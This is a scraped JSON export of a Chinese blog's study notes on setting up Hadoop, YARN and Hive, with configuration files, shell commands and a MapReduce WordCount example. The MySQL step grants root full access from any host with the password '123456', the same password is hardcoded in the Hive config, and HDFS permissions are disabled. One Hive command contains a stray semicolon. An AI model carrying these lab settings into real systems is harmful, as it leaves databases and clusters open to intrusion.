阶段 4 个步骤，reduce 阶段分为 2 个步骤 Map 阶段 2 个步骤第一步：设置 inputFormat 类，将我们的数据切分成 key，value 对，输入到第二步第二步：自定义 map 逻辑，处理我们第一步的输入数据，然后转换成新的 key，value 对进行输出 shuffle 阶段 4 个步骤（可以全部不用管）第三步：对输出的 key，value 对进行分区第四步：对不同分区的数据按照相同的 key 进行排序第五步：对分组后的数据进行规约 (combine 操作)，降低数据的网络拷贝（可选步骤）第六步：对排序后的额数据进行分组，分组的过程中，将相同 key 的 value 放到一个集合当中 reduce 阶段 2 个步骤第七步：对多个 map 的任务进行合并，排序，写 reduce 函数自己的逻辑，对输入的 key，value 对进行处理，转换成新的 key，value 对进行输出第八步：设置 outputformat 将输出的 key，value 对数据进行保存到文件中"},{"title":"","date":"2019-09-19T08:29:00.000Z","updated":"2022-05-11T01:13:00.000Z","comments":true,"path":"notes/Hadoop/pseudo-distributed.html","permalink":"https://blog.mhuig.top/notes/Hadoop/pseudo-distributed","excerpt":"","text":"伪分布式 大数据处理技术 - apache hadoop 三种架构介绍 (伪分布介绍以及安装) 伪分布式环境搭建（适用于学习测试开发集群模式） 服务规划 服务器 IP 192.168.52.100 192.168.52.110 192.168.52.120 主机名 node01.hadoop.com node02.hadoop.com node03.hadoop.com NameNode 是 否 否 Secondary NameNode 是 否 否 dataNode 是 是 是 ResourceManager 是 否 否 NodeManager 是 是 是 停止单节点集群停止单节点集群，删除 /export/servers/hadoop-2.7.5/hadoopDatas 文件夹，然后重新创建文件夹第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5sbin/stop-dfs.shsbin/stop-yarn.shsbin/mr-jobhistory-daemon.sh stop historyserver 配置集群删除 hadoopDatas 然后重新创建文件夹 rm -rf /export/servers/hadoop-2.7.5/hadoopDatas 重新创建文件夹 mkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/tempDatasmkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/namenodeDatasmkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/namenodeDatas2mkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/datanodeDatasmkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/datanodeDatas2mkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/nn/editsmkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/snn/namemkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/dfs/snn/edits 修改 slaves 文件，然后将安装包发送到其他机器，重新启动集群即可第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim slaves slavesnode01node02node03 安装包的分发第一台机器执行以下命令 cd /export/servers/scp -r hadoop-2.7.5 node02:$PWDscp -r hadoop-2.7.5 node03:$PWD 启动集群第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5bin/hdfs namenode -formatsbin/start-dfs.shsbin/start-yarn.shsbin/mr-jobhistory-daemon.sh start historyserver 第一台 jps 后： 第二台：jps 后: 第三台 jps 后："},{"title":"","date":"2019-09-19T08:26:00.000Z","updated":"2022-05-10T10:07:00.000Z","comments":true,"path":"notes/Hadoop/stand-alone.html","permalink":"https://blog.mhuig.top/notes/Hadoop/stand-alone","excerpt":"","text":"StandAlone 大数据处理技术 - apache hadoop 三种架构介绍（StandAlone) hadoop 文档: http://hadoop.apache.org/docs/ StandAlone 环境搭建 运行服务 服务器 IP NameNode 192.168.52.100 SecondaryNameNode 192.168.52.100 DataNode 192.168.52.100 ResourceManager 192.168.52.100 NodeManager 192.168.52.100 第一步：下载 apache hadoop 并上传到服务器下载链接： http://archive.apache.org/dist/hadoop/common/hadoop-2.7.5/hadoop2.7.5.tar.gz 解压命令 cd /export/softwarestar -zxvf hadoop-2.7.5.tar.gz -C ../servers/ hadoop 安装包结构hadoop-2.7.5/bin: 一些 shell 脚本，供我们使用hadoop-2.7.5/sbin: 一些 shell 脚本，供我们使用hadoop-2.7.5/etc/hadoop: 所有的配置文件的路径hadoop-2.7.5/lib/native: 本地的 C 程序库 hadoop 六个核心配置文件的作用core-site.xml：核心配置文件，主要定义了我们文件访问的格式 hdfs://hadoop-env.sh：主要配置我们的 java 路径hdfs-site.xml：主要定义配置我们的 hdfs 的相关配置mapred-site.xml 主要定义我们的 mapreduce 相关的一些配置slaves：控制我们的从节点在哪里 datanode nodemanager 在哪些机器上yarn-site.xml：配置我们的 resourcemanager 资源调度 第二步：修改配置文件打开 notepad++ 修改 core-site.xml第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim core-site.xml http://archive.cloudera.com/cdh5/cdh/5/hadoop-2.6.0-cdh5.14.0/ 定义文件系统的实现 file:/// 本地文件系统 hdfs:// 分布式文件系统 core-site.xml&lt;configuration&gt; &lt;property&gt; &lt;name&gt;fs.default.name&lt;/name&gt; &lt;value&gt;hdfs://192.168.52.100:8020&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;hadoop.tmp.dir&lt;/name&gt; &lt;value&gt;/export/servers/hadoop2.7.5/hadoopDatas/tempDatas&lt;/value&gt; &lt;/property&gt; &lt;!-- 缓冲区大小，实际工作中根据服务器性能动态调整 --&gt; &lt;property&gt; &lt;name&gt;io.file.buffer.size&lt;/name&gt; &lt;value&gt;4096&lt;/value&gt; &lt;/property&gt; &lt;!-- 开启 hdfs 的垃圾桶机制，删除掉的数据可以从垃圾桶中回收，单位分钟 --&gt; &lt;property&gt; &lt;name&gt;fs.trash.interval&lt;/name&gt; &lt;value&gt;10080&lt;/value&gt; &lt;/property&gt;&lt;/configuration&gt; 修改 hdfs-site.xml第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim hdfs-site.xml hdfs-site.xml&lt;configuration&gt; &lt;property&gt; &lt;name&gt;dfs.namenode.secondary.http-address&lt;/name&gt; &lt;value&gt;node01:50090&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;dfs.namenode.http-address&lt;/name&gt; &lt;value&gt;node01:50070&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;dfs.namenode.name.dir&lt;/name&gt; &lt;value&gt;file:///export/servers/hadoop2.7.5/hadoopDatas/namenodeDatas,file:///export/servers/hadoop2.7.5/hadoopDatas/namenodeDatas2&lt;/value&gt; &lt;/property&gt; &lt;!-- 定义 dataNode 数据存储的节点位置，实际工作中，一般先确定磁盘的挂载目录，然后多个目录用，进行分割 --&gt; &lt;property&gt; &lt;name&gt;dfs.datanode.data.dir&lt;/name&gt; &lt;value&gt;file:///export/servers/hadoop2.7.5/hadoopDatas/datanodeDatas,file:///export/servers/hadoop2.7.5/hadoopDatas/datanodeDatas2&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;dfs.namenode.edits.dir&lt;/name&gt; &lt;value&gt;file:///export/servers/hadoop2.7.5/hadoopDatas/nn/edits&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;dfs.namenode.checkpoint.dir&lt;/name&gt; &lt;value&gt;file:///export/servers/hadoop2.7.5/hadoopDatas/snn/name&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;dfs.namenode.checkpoint.edits.dir&lt;/name&gt; &lt;value&gt;file:///export/servers/hadoop2.7.5/hadoopDatas/dfs/snn/edits&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;dfs.replication&lt;/name&gt; &lt;value&gt;3&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;dfs.permissions&lt;/name&gt; &lt;value&gt;false&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;dfs.blocksize&lt;/name&gt; &lt;value&gt;134217728&lt;/value&gt; &lt;/property&gt;&lt;/configuration&gt; 修改 hadoop-env.sh第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim hadoop-env.sh hadoop-env.shexport JAVA_HOME=/export/servers/jdk1.8.0_141 修改 mapred-site.xml第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim mapred-site.xml mapred-site.xml&lt;configuration&gt; &lt;property&gt; &lt;name&gt;mapreduce.framework.name&lt;/name&gt; &lt;value&gt;yarn&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;mapreduce.job.ubertask.enable&lt;/name&gt; &lt;value&gt;true&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;mapreduce.jobhistory.address&lt;/name&gt; &lt;value&gt;node01:10020&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;mapreduce.jobhistory.webapp.address&lt;/name&gt; &lt;value&gt;node01:19888&lt;/value&gt; &lt;/property&gt;&lt;/configuration&gt; 修改 yarn-site.xml第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim yarn-site.xml yarn-site.xml&lt;configuration&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.hostname&lt;/name&gt; &lt;value&gt;node01&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.nodemanager.aux-services&lt;/name&gt; &lt;value&gt;mapreduce_shuffle&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.log-aggregation-enable&lt;/name&gt; &lt;value&gt;true&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.log-aggregation.retain-seconds&lt;/name&gt; &lt;value&gt;604800&lt;/value&gt; &lt;/property&gt;&lt;/configuration&gt; 修改 mapred-env.sh第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim mapred-env.sh mapred-env.shexport JAVA_HOME=/export/servers/jdk1.8.0_141 修改 slaves第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim slaves slaveslocalhost 第三步：启动集群要启动 Hadoop 集群，需要启动 HDFS 和 YARN 两个模块。注意： 首次启动 HDFS 时，必须对其进行格式化操作。 本质上是一些清理和准备工作，因为此时的 HDFS 在物理上还是不存在的。 cd /export/servers/hadoop-2.7.5/binhdfs namenode -format 启动命令：创建数据存放文件夹第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5mkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/tempDatasmkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/namenodeDatasmkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/namenodeDatas2mkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/datanodeDatasmkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/datanodeDatas2mkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/nn/editsmkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/snn/namemkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/dfs/snn/edits 准备启动第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/sbin/start-dfs.sh sbin/start-yarn.sh sbin/mr-jobhistory-daemon.sh start historyserver 三个端口查看界面 http://192.168.52.100:50070/explorer.html#/ 查看 hdfs 绿色的！ http://192.168.52.100:8088/cluster 查看 yarn 集群 http://192.168.52.100:19888/jobhistory 查看历史完成的任务"},{"title":"","date":"2019-09-19T08:39:00.000Z","updated":"2022-05-12T00:46:00.000Z","comments":true,"path":"notes/Hadoop/wordcount.html","permalink":"https://blog.mhuig.top/notes/Hadoop/wordcount","excerpt":"","text":"MapReduce WordCount 大数据处理技术 - Hadoop-MapReduce 编程模型 - WordCount 实例分析 WordCount 示例编写需求：在一堆给定的文本文件中统计输出每一个单词出现的总次数数据格式准备如下： hadoop,hive,hbasehive,stormhive,hbase,kafkaspark,flume,kafka,stormhbase,hadoop,hbasehive,spark,storm 定义 mapper 类WordCountMapper.javapackage com.qst.wordcount;import org.apache.hadoop.io.IntWritable;import org.apache.hadoop.io.LongWritable;import org.apache.hadoop.io.Text;import org.apache.hadoop.mapreduce.Mapper;import java.io.IOException;/*** mapper 类继承 Mapper 表示我们的这个 class 类是一个标准的 mapper 类，需要四个泛型* k1 v1 k2 v2*/public class WordCountMapper extends Mapper&lt;LongWritable,Text,Text,IntWritable&gt;{ Text text = new Text(); IntWritable intWritable = new IntWritable(); /** * 覆写父类的 map 方法，每一行数据要调用一次 map 方法，我们的处理逻辑都写在这个 map 方法里面 * @param key * @param value * @param context * @throws IOException * @throws InterruptedException * hdfs 的最原始数据 hadoop,hive,hbase hive,storm hive,hbase,kafka spark,flume,kafka,storm hbase,hadoop,hbase hive,spark,storm 经过第一步：TextInputFormat 之后 0 hadoop,hive,hbase 17 hive,storm 27 hive,hbase,kafka */ /** * @param key 我们的 key1 行偏移量 ，一般没啥用，直接可以丢掉 * @param value 我们的 value1 行文本内容，需要切割，然后转换成新的 k2 v2 输出 * @param context 上下文对象，承接上文，把数据传输给下文 * @throws IOException * @throws InterruptedException */ @Override protected void map(LongWritable key, Text value, Context context) throws IOException, InterruptedException { /* hadoop,hive,hbase hive,storm hive,hbase,kafka spark,flume,kafka,storm hbase,hadoop,hbase hive,spark,storm */ String line = value.toString(); String[] split = line.split(\",\"); //遍历我们切割出来的单词 for (String word : split) { text.set(word); intWritable.set(1); //写出我们的 k2 v2 这里的类型跟我们的 k2 v2 保持一致 context.write(text,intWritable); } }} 定义 reducer 类WordCountReducer.javapackage com.qst.wordcount;import org.apache.hadoop.io.IntWritable;import org.apache.hadoop.io.Text;import org.apache.hadoop.mapreduce.Reducer;import java.io.IOException;/*** 我们自定的 class 类继承 reducer 类表明我们这是一个标准的 reducer 类* 跟我们的 k2 v2 k3 v3 四个泛型*/public class WordCountReducer extends Reducer&lt;Text,IntWritable,Text,IntWritable&gt;{ /** * 覆写 reduce 方法， * @param key 接收的 key 是我们的 K2 * @param values 接收到 value 是一个集合 集合里面的数据类型是 v2 类型 * @param context 上下文对象，将我们的数据往外写 * @throws IOException * @throws InterruptedException */ /* hadoop,hive,hbase hive,storm hive,hbase,kafka spark,flume,kafka,storm hbase,hadoop,hbase hive,spark,storm hadoop &lt;1,1&gt; hive &lt;1,1,1,1&gt; hbase&lt;1,1,1&gt; */ @Override protected void reduce(Text key, Iterable&lt;IntWritable&gt; values, Context context) throws IOException, InterruptedException { int a = 0; for (IntWritable value : values) { int i = value.get(); a += i; } //将我们的数据写出去 context.write(key,new IntWritable(a)); }} 定义 main 方法jobMain.javapackage com.qst.wordcount;import org.apache.hadoop.conf.Configuration;import org.apache.hadoop.conf.Configured;import org.apache.hadoop.fs.Path;import org.apache.hadoop.io.IntWritable;import org.apache.hadoop.io.Text;import org.apache.hadoop.mapreduce.Job;import org.apache.hadoop.mapreduce.lib.input.TextInputFormat;import org.apache.hadoop.mapreduce.lib.output.TextOutputFormat;import org.apache.hadoop.util.Tool;import org.apache.hadoop.util.ToolRunner;public class JobMain extends Configured implements Tool { @Override public int run(String[] args) throws Exception { //获取一个 job 对象，用于我们任务的组织，通过 job 对象将我们八个步骤组织到一起，提交给 yarn 集群运行 Job job = Job.getInstance(super.getConf(), \"xxx\"); //如果需要打包运行，一定得要加上这一句 job.setJarByClass(JobMain.class); //获取到我们的 job 对象之后，通过 job 对象来组织我们的八个 class 类到一起，然后提交给 yarn 集群运行即可 //第一步：读取文件，解析成 key,value 对，这里是 k1 v1 job.setInputFormatClass(TextInputFormat.class); //集群运行模式，从 hdfs 上面读取文件 // TextInputFormat.addInputPath(job,new Path(\"hdfs://node01:8020/wordcount\")); //使用本地模式来运行，从本地磁盘读取文件进行处理 TextInputFormat.addInputPath(job,new Path(\"file:///F:\\\\input\")); //第二步：自定义 map 逻辑，接收第一步的 k1,v1 转换成新的 k2 v2 进行输出 job.setMapperClass(WordCountMapper.class); //设置我们 key2 的类型 job.setMapOutputKeyClass(Text.class); //设置我们的 v2 类型 job.setMapOutputValueClass(IntWritable.class); /** * 第三到六步 * 第三步：分区 相同 key 的 value 发送到同一个 reduce 里面去，形成一个集合 * 第四步：排序 * 第五步：规约 * 第六步：分组 * 都省掉 */ //第七步：设置我们的 reduce 类，接受我们的 key2 v2 输出我们 k3 v3 job.setReducerClass(WordCountReducer.class); //设置我们 key3 输出的类型 job.setOutputKeyClass(Text.class); //设置我们 value3 的输出类型 job.setOutputValueClass(IntWritable.class); //第八步：设置我们的输出类 outputformat job.setOutputFormatClass(TextOutputFormat.class); //输出路径输出到 hdfs 上面去，表示我打包到集群上面去运行 // TextOutputFormat.setOutputPath(job,new Path(\"hdfs://node01:8020/wordcountout\")); //使用本地模式来运行 TextOutputFormat.setOutputPath(job,new Path(\"file:///F:\\\\output\")); //提交我们的任务 boolean b = job.waitForCompletion(true); return b?0:1; } public static void main(String[] args) throws Exception { Configuration configuration = new Configuration(); //提交我们的 job 任务 //任务完成之后，返回一个状态码值，如果状态码值是 0，表示程序运 行成功 int run = ToolRunner.run(configuration, new JobMain(), args); System.exit(run); }} 提醒：本地运行完成之后，就可以打成 jar 包放到服务器上面去运行了，实际工作当中，都是将代码打成 jar 包，开发 main 方法作为程序的入口，然后放到集群上面去运行"},{"title":"","date":"2019-09-19T08:40:00.000Z","updated":"2022-05-12T02:47:00.000Z","comments":true,"path":"notes/Hadoop/yarn.html","permalink":"https://blog.mhuig.top/notes/Hadoop/yarn","excerpt":"","text":"Yarn 资源调度 大数据处理技术 - Hadoop-Yarn 资源调度 yarn 集群的监控管理界面：http://192.168.52.100:8088/clusterjobHistoryServer 查看界面：http://192.168.52.100:19888/jobhistory yarn 的介绍yarn 是 hadoop 集群当中的资源管理系统模块，从 hadoop2.x 开始引入 yarn 来进 行管理集群当中的资源（主要是服务器的各种硬件资源，包括 CPU，内存，磁盘，网络 IO 等）以及运行在 yarn 上面的各种任务。总结一句话就是说：yarn 主要就是为了调度资源，管理任务等其调度分为两个层级来说： 一级调度管理： 计算资源管理 (CPU, 内存，网络 IO，磁盘) 硬件的资源 App 生命周期管理（每一个应用执行的情况，都需要汇报给 ResourceManager） 二级调度管理： App 内部的计算模型管理 (AppMaster 的任务精细化管理) job 任务 多样化的计算模型 yarn 的官网文档说明：http://hadoop.apache.org/docs/r2.7.5/hadoop-yarn/hadoop-yarn-site/YARN.html Yarn 的主要组件介绍与作用yarn 当中的各个主要组件的介绍ResourceManager：yarn 集群的主节点，主要用于接收客户端提交的任务，并对任务进行分配。NodeManager：yarn 集群的从节点，主要用于任务的计算ApplicationMaster： 当 有 新 的 任 务 提 交 到 ResourceManager 的 时候，ResourceManager 会在某个从节点 nodeManager 上面启动一个 ApplicationMaster 进程，负责这个任务执行的资源的分配，任务的生命周期的监控等Container：资源的分配单位，ApplicationMaster 启动之后，与 ResourceManager 进行通信，向 ResourceManager 提出资源申请的请求，然后 ResourceManager 将资源分配给 ApplicationMaster，这些资源的表示，就是一个个的 container JobHistoryServer：这是 yarn 提供的一个查看已经完成的任务的历史日志记录的服务，我们可以启动 jobHistoryServer 来观察已经完成的任务的所有详细日志信息TimeLineServer：hadoop2.4.0 以后出现的新特性，主要是为了监控所有运行在 yarn 平台上面的所有任务（例如 MR，Storm，Spark，HBase 等等） yarn 的发展历程以及详细介绍：https://www.ibm.com/developerworks/cn/opensource/os-cn-hadoop-yarn/ yarn 当中各个主要组件的作用resourceManager 主要作用： 处理客户端请求 启动 / 监控 ApplicationMaster 监控 NodeManager 资源分配与调度 NodeManager 主要作用： 单个节点上的资源管理和任务管理 接收并处理来自 resourceManager 的命令 接收并处理来自 ApplicationMaster 的命令 管理抽象容器 container 定时向 RM 汇报本节点资源使用情况和各个 container 的运行状态 ApplicationMaster 主要作用： 数据切分 为应用程序申请资源 任务监控与容错 负责协调来自 ResourceManager 的资源，开通 NodeManager 监视容的执 行和资源使用（CPU, 内存等的资源分配） Container 主要作用： 对任务运行环境的抽象 任务运行资源（节点，内存，cpu） 任务启动命令 任务运行环境 yarn 的架构 yarn 当中的调度器yarn 我们都知道主要是用于做资源调度，任务分配等功能的，那么在 hadoop 当中，究竟使用什么算法来进行任务调度就需要我们关注了，hadoop 支持好几种任务的调度方式，不同的场景需要使用不同的任务调度器 FIFO Scheduler第一种调度器：FIFO Scheduler （队列调度器） 把应用按提交的顺序排成一个队列，这是一个先进先出队列，在进行资源分配的时候，先给队列中最头上的应用进行分配资源，待最头上的应用需求满足后再给下一个分配，以此类推。FIFO Scheduler 是最简单也是最容易理解的调度器，也不需要任何配置，但它并不适用于共享集群。大的应用可能会占用所有集群资源，这就导致其它应用被阻塞。在共享集群中，更适合采用 Capacity Scheduler 或 Fair Scheduler，这两个调度器都允许大任务和小任务在提交的同时获得一定的系统资源。 Capacity Scheduler第二种调度器：capacity scheduler（容量调度器，apache 版本默认使用的调度器） Capacity 调度器允许多个组织共享整个集群，每个组织可以获得集群的一部分计算能力。通过为每个组织分配专门的队列，然后再为每个队列分配一定的集群资源，这样整个集群就可以通过设置多个队列的方式给多个组织提供服务了。除此之外，队列内部又可以垂直划分，这样一个组织内部的多个成员就可以共享这个队列资源了，在一个队列内部，资源的调度是采用的是先进先出 (FIFO) 策略。 Fair Scheduler第三种调度器：Fair Scheduler（公平调度器，CDH 版本的 hadoop 默认使用的调度器） Fair 调度器的设计目标是为所有的应用分配公平的资源（对公平的定义可以通过参数来设置）。公平调度在也可以在多个队列间工作。举个例子，假设有两个用户 A 和 B，他们分别拥有一个队列。当 A 启动一个 job 而 B 没有任务时，A 会获得全部集群资源；当 B 启动一个 job 后，A 的 job 会继续运行，不过一会儿之后两个任务会各自获得一半的集群资源。如果此时 B 再启动第二个 job 并且其它 job 还在运行，则它将会和 B 的第一个 job 共享 B 这个队列的资源，也就是 B 的两个 job 会用于四分之一的集群资源，而 A 的 job 仍然用于集群一半的资源，结果就是资源最终在两个用户之间平等的共享 使用哪种调度器取决于 yarn-site.xml 当中的 yarn.resourcemanager.scheduler.class 这个属性的配置 yarn 常用参数设置 第一个参数：container 分配最小内存yarn.scheduler.minimum-allocation-mb 1024给应用程序 container 分配的最小内存 第二个参数：container 分配最大内存yarn.scheduler.maximum-allocation-mb 8192给应用程序 container 分配的最大内存 第三个参数：每个 container 的最小虚拟内核个数yarn.scheduler.minimum-allocation-vcores 1每个 container 默认给分配的最小的虚拟内核个数 第四个参数：每个 container 的最大虚拟内核个数yarn.scheduler.maximum-allocation-vcores 32每个 container 可以分配的最大的虚拟内核的个数 第五个参数：nodeManager 可以分配的内存大小yarn.nodemanager.resource.memory-mb 8192nodemanager 可以分配的最大内存大小，默认 8192Mb 在我们浏览 yarn 的管理界面的时候会发现一个问题 我们可以在 yarn-site.xml 当中修改以下两个参数来改变默认值 定义每台机器的内存使用大小yarn.nodemanager.resource.memory-mb 8192 定义每台机器的虚拟内核使用大小yarn.nodemanager.resource.cpu-vcores 8 定义交换区空间可以使用的大小（交换区空间就是讲一块硬盘拿出来做内存使用）这里指定的是 nodemanager 的 2.1 倍yarn.nodemanager.vmem-pmem-ratio 2.1"},{"title":"","date":"2019-05-10T06:21:00.000Z","updated":"2022-05-12T01:35:00.000Z","comments":true,"path":"notes/Hive/deploy.html","permalink":"https://blog.mhuig.top/notes/Hive/deploy","excerpt":"","text":"安装部署 Hive 安装部署 我们在此处选择第三台机器作为我们 hive 的安装机器 derby 版 hive 直接使用 解压 hivecd /export/softwarestar -zxvf hive-1.1.0-cdh5.14.0.tar.gz -C ../servers/ 直接启动 bin/hivecd /export/servers/hive-1.1.0-cdh5.14.0/bin/hivehive&gt; create database mytest; bin/hive show databases; create database mytest; show databases; cd /export/servers/hive-1.1.0-cdh5.14.0/bin./hive show databases; 刚才创建的 mytest 呢？ create database mytest2; 缺点：多个地方安装 hive 后，每一个 hive 是拥有一套自己的元数据，大家的库、表就不统一； 使用 mysql 共享 hive 元数据mysql 数据库的安装（使用 yum 源进行安装，强烈推荐） 第一步：在线安装 mysql 相关的软件包yum install mysql mysql-server mysql-devel 第二步：启动 mysql 的服务/etc/init.d/mysqld start 第三步：通过 mysql 安装自带脚本进行设置/usr/bin/mysql_secure_installation 第四步：进入 mysql 的客户端然后进行授权mysql -uroot -p grant all privileges on *.* to 'root'@'%' identified by '123456' with grant option;flush privileges; 修改 hive 的配置文件修改 hive-env.sh添加我们的 hadoop 的环境变量 cd /export/servers/hive-1.1.0-cdh5.14.0/confcp hive-env.sh.template hive-env.shvim hive-env.sh hive-env.shHADOOP_HOME=/export/servers/hadoop-2.6.0-cdh5.14.0# Hive Configuration Directory can be controlled by:export HIVE_CONF_DIR=/export/servers/hive-1.1.0-cdh5.14.0/conf 修改 hive-site.xmlcd /export/servers/hive-1.1.0-cdh5.14.0/confvim hive-site.xml hive-site.xml&lt;?xml-stylesheet type=\"text/xsl\" href=\"configuration.xsl\"?&gt;&lt;configuration&gt; &lt;property&gt; &lt;name&gt;javax.jdo.option.ConnectionURL&lt;/name&gt; &lt;value&gt;jdbc:mysql://node03.hadoop.com:3306/hive?createDatabaseIfNotExist=true&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;javax.jdo.option.ConnectionDriverName&lt;/name&gt; &lt;value&gt;com.mysql.jdbc.Driver&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;javax.jdo.option.ConnectionUserName&lt;/name&gt; &lt;value&gt;root&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;javax.jdo.option.ConnectionPassword&lt;/name&gt; &lt;value&gt;123456&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;hive.cli.print.current.db&lt;/name&gt; &lt;value&gt;true&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;hive.cli.print.header&lt;/name&gt; &lt;value&gt;true&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;hive.server2.thrift.bind.host&lt;/name&gt; &lt;value&gt;node03.hadoop.com&lt;/value&gt; &lt;/property&gt;&lt;/configuration&gt; 上传 mysql 的 lib 驱动包将 mysql 的 lib 驱动包上传到 hive 的 lib 目录下 cd /export/servers/hive-1.1.0-cdh5.14.0/lib 将 mysql-connector-java-5.1.38.jar 上传到这个目录下 使用方式第一种交互方式：Hive 交互 shellcd /export/servers/hive-1.1.0-cdh5.14.0bin/hive 查看所有的数据库 hive (default)&gt; show databases; 创建一个数据库 hive (default)&gt; create database mydb; 使用该数据库并创建数据库表 hive (default)&gt; use mydb;hive (myhive)&gt; create table test(id int,name string); 以上命令操作完成之后，一定要确认 mysql 里面出来一个数据库 hive 第二种交互方式：Hive JDBC 服务启动 hiveserver2 服务后台启动 cd /export/servers/hive-1.1.0-cdh5.14.0nohup bin/hive --service hiveserver2 &amp; beeline 连接 hiveserver2注意：如果使用 beeline 方式连接 hiveserver2，一定要保证 hive 在 mysql 当中的元数据库已经创建成功，不然就会拒绝连接 nohup bin/hive --service metastore &amp; bin/beelinebeeline&gt; !connect jdbc:hive2://node03.hadoop.com:10000 设置 mysql 的开机启动 chkconfig --add mysqldchkconfig mysqld onservice mysqld startservice mysqld status"},{"title":"","date":"2022-05-10T06:21:00.000Z","updated":"2022-05-10T06:21:00.000Z","comments":true,"path":"notes/Hive/index.html","permalink":"https://blog.mhuig.top/notes/Hive/","excerpt":"","text":".fa-secondary{opacity:.4} Hive Hive .prev-next{ display: none !important; }"},{"title":"","date":"2019-05-10T06:21:00.000Z","updated":"2022-05-12T01:33:00.000Z","comments":true,"path":"notes/Hive/overview.html","permalink":"https://blog.mhuig.top/notes/Hive/overview","excerpt":"","text":"Overview Hive 基本概念 什么是 HiveHive 是基于 Hadoop 的一个数据仓库工具，可以将结构化的数据文件映射为一张数据库表，并提供类 SQL 查询功能。其本质是将 SQL 转换为 MapReduce 的任务进行运算，底层由 HDFS 来提供数据的存储，说白了 hive 可以理解为一个将 SQL 转换为 MapReduce 的任务的工具，甚至更进一步可以说 hive 就是一个 MapReduce 的客户端 为什么使用 Hive直接使用 hadoop 所面临的问题 人员学习成本太高 项目周期要求太短 MapReduce 实现复杂查询逻辑开发难度太大 为什么要使用 Hive 操作接口采用类 SQL 语法，提供快速开发的能力。 避免了去写 MapReduce，减少开发人员的学习成本。 功能扩展很方便。 Hive 的特点可扩展Hive 可以自由的扩展集群的规模，一般情况下不需要重启服务。 延展性Hive 支持用户自定义函数，用户可以根据自己的需求来实现自己的函数。 容错良好的容错性，节点出现问题 SQL 仍可完成执行。 Hive 与 Hadoop 的关系Hive 利用 HDFS 存储数据，利用 MapReduce 查询分析数据 Hive 与传统数据库对比hive 用于海量数据的离线数据分析 总结：hive 具有 sql 数据库的外表，但应用场景完全不同，hive 只适合用来做批量数据统计分析"},{"title":"","date":"2019-05-10T06:21:00.000Z","updated":"2022-05-12T02:44:00.000Z","comments":true,"path":"notes/Hive/uses.html","permalink":"https://blog.mhuig.top/notes/Hive/uses","excerpt":"","text":"使用方式 Hive 使用方式 创建数据库操作创建数据库create database if not exists myhive;use myhive; 说明：hive 的表存放位置模式是由 hive-site.xml 当中的一个属性指定的 hive-site.xml&lt;name&gt;hive.metastore.warehouse.dir&lt;/name&gt;&lt;value&gt;/user/hive/warehouse&lt;/value&gt; 创建数据库并指定 hdfs 存储位置create database mydb02 location '/myhive22'; 修改数据库可以使用 alter database 命令来修改数据库的一些属性。但是数据库的元数据信息是不可更改的，包括数据库的名称以及数据库所在的位置 alter database mydb02 set dbproperties('createtime'='20190708'); 查看数据库详细信息查看数据库基本信息 desc database mydb02; 查看数据库更多详细信息 desc database extended mydb02; 删除数据库删除一个空数据库，如果数据库下面有数据表，那么就会报错 drop database myhive2; 强制删除数据库，包含数据库下面的表一起删除 drop database mydb02; cascade; 创建数据库表操作创建数据库表语法CREATE [EXTERNAL] TABLE [IF NOT EXISTS] table_name [(col_name data_type [COMMENT col_comment], ...)] [COMMENT table_comment] [PARTITIONED BY (col_name data_type [COMMENT col_comment], ...)] [CLUSTERED BY (col_name, col_name, ...) [SORTED BY (col_name [ASC|DESC], ...)] INTO num_buckets 